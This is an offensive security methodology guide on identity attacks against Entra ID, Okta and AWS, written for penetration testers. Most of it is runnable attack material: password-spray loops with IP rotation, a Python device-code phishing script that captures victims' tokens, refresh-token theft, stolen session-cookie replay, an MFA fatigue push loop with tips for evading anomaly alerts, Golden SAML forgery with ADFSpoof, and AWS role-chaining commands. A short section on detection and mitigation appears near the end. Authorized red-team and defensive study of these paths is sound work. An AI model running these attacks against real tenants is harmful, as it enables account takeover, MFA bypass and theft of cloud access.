Identity-First Pentesting: Testing Login-Based Attack Paths Across Entra ID, Okta, and AWS

identity attack paths header

Type: Methodology Guide
Domain: Offensive Security / Identity
Audience: Red teamers, penetration testers, offensive security engineers


Introduction: Identity Is the Perimeter

In 2026, credential-based attacks account for the initial access vector in the majority of confirmed breaches. The perimeter dissolved – cloud-first organizations replaced VPNs and firewalls with identity providers. Entra ID, Okta, and AWS IAM are now the gates. Pentests that don’t test these gates are incomplete by definition.

The shift matters because the attack surface changed shape. You’re no longer looking for an unpatched service exposed on port 8443. You’re looking for timing windows in authentication APIs, token storage issues in browsers and CI runners, federation trust misconfigurations, and MFA implementations that rely on user behavior to hold.

This guide is an end-to-end methodology for identity attack paths across the three platforms most commonly deployed in enterprise environments. It covers techniques from initial reconnaissance through cross-platform chaining, with commands, tooling, and the specific gaps that compliance-driven assessments routinely miss.


Reconnaissance: Building the Identity Graph

Before touching any authentication endpoint, map what you’re working with.

Tenant and Org Discovery

For Entra ID, tenant enumeration is unauthenticated:

# Resolve tenant ID from domain
curl -s "https://login.microsoftonline.com/<target.com>/.well-known/openid-configuration" | jq '.issuer'

# AADInternals tenant info
Import-Module AADInternals
Get-AADIntTenantDetails -Domain "target.com"

For Okta, the org URL is usually discoverable from job postings, .well-known endpoints, or subdomain enumeration:

# Confirm Okta org exists
curl -s "https://target.okta.com/.well-known/openid-configuration"

# Check if custom domain is in use
curl -I "https://sso.target.com/"

For AWS, look for exposed keys in GitHub, CI logs, and public S3 objects before touching any API:

# truffleHog for secrets in git history
trufflehog git https://github.com/target-org/repo --only-verified

# Check if key is valid and get caller identity
aws sts get-caller-identity --profile found-key

Section 1: Entra ID Attack Paths

Password Spraying with Timing Evasion

Entra ID Smart Lockout triggers after a threshold of failed attempts per account (default: 10 failures, but configurable). The lockout is per-datacenter, not global – a behavior that creates an evasion window.

Standard spray using MSOLSpray or TREVORspray:

# TREVORspray - supports fireprox integration for IP rotation
trevorspray -u users.txt -p 'Spring2026!' --fireprox https://api.gateway.amazonaws.com/abcdef/ --delay 30

Key timing considerations:

  • Minimum 30 seconds between sprays per user
  • Rotate source IPs using AWS API Gateway (FireProx) to bypass per-IP throttling
  • Use the userNamePasswordUrl endpoint (/common/oauth2/token) rather than the /authorize flow – it gives binary success/fail responses with no redirect noise

Detect valid usernames before spraying using the GetCredentialType endpoint:

# Returns IfExistsResult: 0 = exists, 1 = doesn't exist, 5 = federated
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
  -H "Content-Type: application/json" \
  -d '{"Username": "user@target.com"}' | jq '.IfExistsResult'

Device Code Phishing

Device code phishing bypasses MFA entirely. The attacker initiates a device code flow, then tricks the target into authenticating. The resulting token is delivered to the attacker.

# Step 1: Request device code
import requests

resp = requests.post(
    "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode",
    data={
        "client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",  # Microsoft Office client ID
        "scope": "openid profile email offline_access https://graph.microsoft.com/.default"
    }
)
data = resp.json()
print(f"User code: {data['user_code']}")
print(f"Verification URL: {data['verification_uri']}")

# Step 2: Poll for token while waiting for victim to authenticate
import time
while True:
    token_resp = requests.post(
        "https://login.microsoftonline.com/common/oauth2/v2.0/token",
        data={
            "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
            "device_code": data["device_code"],
            "client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c"
        }
    )
    if "access_token" in token_resp.json():
        print("Token acquired!")
        print(token_resp.json()["access_token"])
        break
    time.sleep(5)

The victim receives a phishing email or message: “Click here to approve your device registration” pointing to microsoft.com/devicelogin with the code pre-filled. They authenticate with their credentials and MFA – you get a valid access token.

Primary Refresh Token (PRT) Theft

PRTs are long-lived tokens (14 days) issued to Entra-joined or registered devices. They can be used to obtain access tokens for any resource without re-authenticating.

# Dump PRT from device using ROADtoken (requires local admin or SYSTEM)
.\ROADtoken.exe /device

# Alternatively via AADInternals on a joined device
Get-AADIntUserPRTKeys -GetNonce

Once you have the PRT and session key, you can mint tokens for any application in the tenant:

# Use PRT to get access token for Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prt -SessionKey $sessionKey

Conditional Access Bypass

Conditional Access policies are only as strong as their configuration. Common bypasses:

Legacy authentication protocols: SMTP, IMAP, and Exchange ActiveSync often bypass CA policies. Test with:

# Test legacy auth to Exchange Online
curl -u "user@target.com:Password123!" "https://outlook.office365.com/mapi/emsmdb/?MailboxId=user@target.com"

Named location gaps: If a CA policy only applies to “Unknown Locations,” registering a managed device (or impersonating compliant device headers) may bypass the policy.

Break-glass accounts: Global Administrator break-glass accounts are often excluded from MFA policies by design. If you compromise one during an engagement, you have unconstrained access.


Section 2: Okta Attack Paths

Password Spraying Against Okta

Okta’s API endpoint for primary authentication is /api/v1/authn. Response codes are largely consistent across valid and invalid users – Okta has improved enumeration prevention – but response timing is still exploitable for username enumeration against some org configurations:

# Authentication attempt - valid user, wrong password
curl -s -X POST "https://target.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"user@target.com","password":"Wrong!"}' | jq '.errorCode,.status'
# Valid user: "E0000004" / null (auth failure, user exists)
# Invalid user: same code, but response latency may differ - time responses to enumerate

# Locked user returns E0000119 - useful signal during a spray

Okta rate limits on authentication are configured per-org. Default lockout is typically 10 attempts. Spray slowly and rotate IPs.

# Direct spray loop - wrap with IP rotation (Tor, ProxyChains, or Fireprox) for volume
for user in $(cat users.txt); do
  curl -s -X POST "https://target.okta.com/api/v1/authn" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${user}\",\"password\":\"Spring2026!\"}" | \
    python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('errorCode','SUCCESS'), '${user}')"
  sleep 45
done

Session Cookie Theft and Replay

Okta sessions are governed by sid cookies. If you can extract a valid session cookie (via XSS, MITM on non-HSTS endpoints, or malware), you can impersonate the user without credentials or MFA.

# Test cookie validity
curl -s -b "sid=<stolen-cookie>" "https://target.okta.com/api/v1/sessions/me" | jq '.userId'

Okta’s session lifetime is configurable – organizations sometimes extend sessions to 8–12 hours for convenience, creating a significant replay window.

Okta FastPass Abuse

Okta FastPass is a phishing-resistant authenticator bound to a specific device. However, in environments where FastPass is deployed alongside legacy factors (push, TOTP, SMS) as fallback, attackers can downgrade the authentication flow to avoid triggering device-bound verification.

The key: FastPass enforcement depends on DEVICE_BASED policy context. When authenticating from a non-enrolled device, Okta’s policy engine evaluates whether the org requires device-bound factors or allows fallback to push/TOTP. If fallback is permitted, an attacker with valid credentials can authenticate without satisfying the FastPass requirement.

Test procedure:

  1. Obtain valid credentials (from spray or phishing)
  2. Authenticate from a clean VM with no enrolled device
  3. Observe whether Okta falls back to push or TOTP instead of requiring FastPass
  4. If fallback triggers: the org’s policy allows downgrade – document and proceed

Organizations that enforce DEVICE_BASED as the only factor with no fallback are not vulnerable. Most are not configured this tightly. Check the Okta admin console (Security > Authentication Policies) for fallback factor chain configuration – this is the setting that determines exposure.

Okta Admin Console – Privilege Escalation

Okta’s admin console (/admin/dashboard) uses the same session as the user portal. If a compromised account has any admin role (even Help Desk Admin), enumerate what that role can access:

# List all users via API (requires read:users scope)
curl -H "Authorization: SSWS <api-token>" "https://target.okta.com/api/v1/users?limit=200"

# Check your effective permissions
curl -H "Authorization: SSWS <api-token>" "https://target.okta.com/api/v1/roles"

App Admin and Org Admin roles can push applications to users, modify app assignments, and in some configurations extract SAML signing keys.


Section 3: AWS IAM Attack Paths

Long-Term Key Exposure

Static IAM access keys (AKIA* prefix) are the most common AWS initial access vector. They don’t expire by default, survive employee offboarding if not rotated, and turn up constantly in GitHub repositories, CI environment variables, and Docker images.

# Enumerate permissions on a found key (using enumerate-iam)
python3 enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Check what this identity can do
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies
aws iam list-user-policies

sts:GetCallerIdentity is never blocked by SCPs or permission boundaries – it’s the safest first call on any found key.

STS AssumeRole Chains

IAM roles with permissive trust policies allow cross-account and cross-service pivoting. After gaining initial credentials:

# List roles you can assume
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) | .RoleName'

# Assume a role
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/DevOpsAdmin \
  --role-session-name pentest \
  --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'

# Export temp credentials
export AWS_ACCESS_KEY_ID=<id>
export AWS_SECRET_ACCESS_KEY=<key>
export AWS_SESSION_TOKEN=<token>

Common pivot targets:

  • OrganizationAccountAccessRole – created by AWS Organizations in member accounts, assumed from master account
  • CI/CD roles – often over-permissioned (sts:AssumeRole on *)
  • Lambda execution roles – may have iam:PassRole to escalate further

Pacu for IAM Enumeration

Pacu is the AWS exploitation framework, analogous to Metasploit for cloud:

# Start Pacu and create a session
python3 pacu.py

# Import found credentials
set_keys

# Run IAM enum module
run iam__enum_users_roles_policies_groups

# Check for privilege escalation paths
run iam__privesc_scan

The iam__privesc_scan module checks for all known IAM privilege escalation paths (Rhino Security’s research) including iam:CreatePolicyVersion, iam:AttachUserPolicy, lambda:CreateFunction + iam:PassRole, and 20+ other vectors.


Section 4: Cross-Platform Chaining

The highest-impact attacks chain identity providers. A realistic scenario:

flowchart LR
    A[Password spray Okta] --> B[Valid user session]
    B --> C[Enumerate Okta app assignments]
    C --> D[Access Azure app via SAML SSO]
    D --> E[Entra ID token - Azure access]
    E --> F[Azure Managed Identity on VM]
    F --> G[AWS AssumeRole via OIDC federation]
    G --> H[AWS account access]

Step-by-step:

  1. Okta compromise – Password spray yields valid Okta credentials. MFA is push-based.
  2. MFA fatigue – Initiate multiple authentication attempts. Target approves push after repeated notifications.
  3. Enumerate Okta app assignments – Use the Okta API to list apps assigned to the compromised user. Azure and AWS are federated via SAML.
   curl -H "Authorization: Bearer <okta-session-token>" \
     "https://target.okta.com/api/v1/users/me/appLinks"
  1. SAML assertion theft – Intercept the SAML response when the user authenticates to Azure via Okta. With a valid SAML assertion, request an Entra ID token:
   # Use Entra ID SAML flow to exchange SAML assertion for access token
   curl -X POST "https://login.microsoftonline.com/<tenantId>/oauth2/token" \
     -d "grant_type=urn:ietf:params:oauth:grant-type:saml2-bearer" \
     -d "assertion=<base64-encoded-saml-assertion>" \
     -d "resource=https://management.azure.com/" \
     -d "client_id=<app-client-id>"
  1. Azure to AWS via OIDC federation – If the Azure environment has a Managed Identity on a VM, and AWS has an IAM role configured to trust Azure OIDC tokens, you can chain directly into AWS:
   # On Azure VM: get managed identity token
   curl -H "Metadata:true" \
     "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=api://AzureADTokenExchange"

   # Exchange for AWS credentials
   aws sts assume-role-with-web-identity \
     --role-arn arn:aws:iam::123456789012:role/AzureFederatedRole \
     --role-session-name pivot \
     --web-identity-token <azure-managed-identity-token>

This full chain – from an Okta password spray to AWS account access – requires no exploited vulnerability. It’s entirely within the designed authentication flows, which is precisely what makes it difficult to detect and easy to miss in compliance assessments.


Section 5: MFA Fatigue Attacks

MFA fatigue exploits push-based authenticators. The attack is simple: initiate back-to-back authentication requests and wait for the target to tap “Approve” out of habit, confusion, or frustration.

Execution

# Repeated Okta authentication triggers (use valid credentials from spray)
for i in {1..10}; do
  curl -s -X POST "https://target.okta.com/api/v1/authn" \
    -H "Content-Type: application/json" \
    -d '{"username":"user@target.com","password":"ValidPass!"}' | jq '.status'
  sleep 30
done

For Entra ID, the same principle applies with the /common/oauth2/v2.0/token endpoint when the account has MFA configured via Microsoft Authenticator push.

Platform-Specific Gaps

PlatformDefault MFA typeFatigue susceptible?Notes
Entra IDMicrosoft Authenticator pushYesNumber matching reduces risk if enabled
OktaOkta Verify pushYes“Additional context” policy reduces risk
AWSVirtual MFA (TOTP)NoTOTP requires intercepting code; not push-based

AWS IAM MFA is TOTP-based by default – you cannot bomb it. However, IAM roles federated through Entra ID or Okta inherit whatever MFA policy those providers enforce.

Detection evasion: Space out push attempts to mimic a user who keeps missing their phone. 3–5 attempts over 2–3 hours is more realistic than 10 attempts in 5 minutes and less likely to trigger anomaly alerts.


Section 6: Golden SAML

Golden SAML is the SAML equivalent of a Golden Ticket. If you can extract or forge the SAML signing key from an identity provider, you can generate arbitrary SAML assertions that any relying party will accept.

Prerequisites

  • Access to the IdP signing key (ADFS private key, Okta SAML signing cert, or a compromised CA)
  • Target: any SAML-integrated application (AWS, Azure, Salesforce, etc.)

Against ADFS (on-prem federation to Entra ID)

# On compromised ADFS server: export token signing certificate
Export-PfxCertificate -Cert "Cert:\LocalMachine\My\<thumbprint>" \
  -FilePath C:\temp\adfs-sign.pfx -Password (ConvertTo-SecureString -String "export123" -Force -AsPlainText)

# Use ADFSpoof to generate a golden SAML assertion
python3 ADFSpoof.py \
  -b adfs-sign.pfx export123 \
  -s adfs.target.com \
  --target "urn:federation:MicrosoftOnline" \
  --nameid "victimadmin@target.com" \
  --upn "victimadmin@target.com" \
  --role "CompanyAdministrator"

Against AWS via SAML Federation

AWS accepts SAML assertions from trusted IdPs to vend temporary credentials via STS:

# With a forged SAML assertion targeting AWS
curl -X POST "https://signin.aws.amazon.com/saml" \
  --data-urlencode "SAMLResponse=<base64-forged-assertion>"

The key indicator: SAML assertions are not logged at the IdP level in most default configurations. The only record of a Golden SAML attack is at the relying party – AWS CloudTrail, Entra ID sign-in logs – and even those show a legitimate authentication.


Section 7: Blind Spots in Compliance Assessments

Standard compliance-driven pentests miss identity attacks because they’re designed around CVE detection and network scanning. The gaps:

What Gets Missed

1. Federation trust validation
Assessors rarely verify which external IdPs an organization trusts, whether those IdPs’ signing certs are adequately protected, or whether SAML assertions are validated for audience and expiry. A misconfigured trust relationship can allow any assertion from a trusted IdP to authenticate as any user.

2. Legacy protocol exposure
SMTP AUTH, IMAP, and POP3 to Exchange Online are rarely tested. These protocols bypass Conditional Access in misconfigured environments and are invisible to most automated scanners.

3. OAuth permission scope creep
First-party and third-party app registrations in Entra ID accumulate permissions over time. A compromised OAuth token for an app with Mail.ReadWrite + User.ReadWrite.All is equivalent to domain admin for cloud-native organizations. Assessments rarely audit registered app permissions.

# Enumerate app registrations and their permissions
Get-MgApplication -All | ForEach-Object {
    $app = $_
    $app.RequiredResourceAccess | ForEach-Object {
        [PSCustomObject]@{
            AppName = $app.DisplayName
            ResourceId = $_.ResourceAppId
            Permissions = $_.ResourceAccess | Select-Object Id, Type
        }
    }
}

4. Service principal secrets and certificates
Service principals (app registrations’ identity in a tenant) often have long-lived client secrets that don’t expire. These are stored in Azure Key Vault, CI pipelines, and config files – and finding one is equivalent to finding a static API key.

5. Cross-tenant access settings
Azure B2B external collaboration settings allow users from other tenants to access resources. Overly permissive cross-tenant access policies – especially “trust all Microsoft tenants” – create supply chain risk that compliance checklists ignore.

6. AWS IAM permission boundaries and SCPs not being tested
Assessors check IAM policies but rarely test whether Permission Boundaries and Service Control Policies (SCPs) are actually enforced. A policy boundary that exists in Terraform but was manually overridden in the console will pass a documentation review and fail in practice.


Section 8: Tooling Reference

Entra ID / Azure AD

ToolPurposeSource
AADInternalsTenant recon, token manipulation, PRT theft, phishingInstall-Module AADInternals
ROADtoolsFull tenant enumeration, token extraction, conditional access analysispip install roadtools
TokenTacticsV2Device code phishing automation, token refresh abuseGitHub: f-bader/TokenTacticsV2
MSOLSprayPassword spraying against Entra IDGitHub: dafthack/MSOLSpray
TREVORsprayPassword spraying with FireProx IP rotationGitHub: blacklanternsecurity/TREVORspray
# ROADtools - dump full tenant
roadrecon gather --access-token <token>
roadrecon gui  # launches browser-based visualizer

Okta

ToolPurposeNotes
CredMasterPassword spraying with pluggable provider support, including OktaGitHub: knavesec/CredMaster
okta-api.py (manual)Direct API interaction for session manipulationWrite your own with requests
Burp SuiteSession cookie analysis, SAML flow interceptionIntercept SAML responses in proxy

AWS

ToolPurposeSource
PacuAWS exploitation frameworkGitHub: RhinoSecurityLabs/pacu
enumerate-iamPermission enumeration on found keysGitHub: andresriancho/enumerate-iam
CloudFoxAttack surface enumeration for cloud environmentsGitHub: BishopFox/cloudfox
truffleHogSecret scanning in git/codepip install trufflehog
# CloudFox — enumerate AWS attack surface
cloudfox aws --profile found-key all-checks

# Key outputs: 
# - principals with dangerous permissions
# - secrets in environment variables
# - assumable roles from current identity

Cross-Platform

ToolPurpose
ADFSpoofGolden SAML assertion generation against ADFS
o365sprayEnumeration and spraying for Microsoft 365
Mandiant’s Azure AD InvestigatorDefensive baseline but useful for understanding detection

Detection and Mitigation Notes

Include these in findings and recommendations:

Password spraying detection:

  • Entra ID: Monitor SignInLogs for ResultType: 50126 (invalid credentials) across multiple accounts from the same IP
  • Okta: policy.evaluate_sign_on events with outcome.result: DENY at volume
  • AWS: CloudTrail ConsoleLogin failures + GetCallerIdentity calls from unknown principals

MFA fatigue mitigation:

  • Enable number matching in Microsoft Authenticator (removes one-tap approval)
  • Enable “additional context” in Okta Verify (shows app name and location)
  • Consider FIDO2/passkey for high-privilege accounts

Token theft mitigation:

  • Continuous Access Evaluation (CAE) in Entra ID revokes tokens within minutes of policy change
  • Restrict PRT usage to compliant devices via Conditional Access
  • Audit service principal credential expiry; enforce 90-day rotation

Golden SAML mitigation:

  • Restrict access to ADFS token signing certs (HSM storage where possible)
  • Monitor for SAML assertions where the authentication timestamp is old or missing
  • Enable AWS CloudTrail logging for all AssumeRoleWithSAML calls; alert on unusual principals

Closing Notes

Identity attack paths in 2026 require zero exploited vulnerabilities in most environments. The techniques in this guide – password spraying, device code phishing, token replay, role chaining, and MFA fatigue – all operate within legitimate protocol flows. That’s what makes them effective and what makes them hard to find in checklist-based assessments.

The scope of a thorough identity-focused pentest should include: tenant enumeration, authentication endpoint testing across all supported protocols, federation trust review, OAuth permission audit, and at least one cross-platform chaining attempt. If you have compromised any identity – even a low-privilege user – walk every trust path before concluding the engagement.


Guide produced by CyberLabs Technical Security team. All techniques described are for authorized security testing only.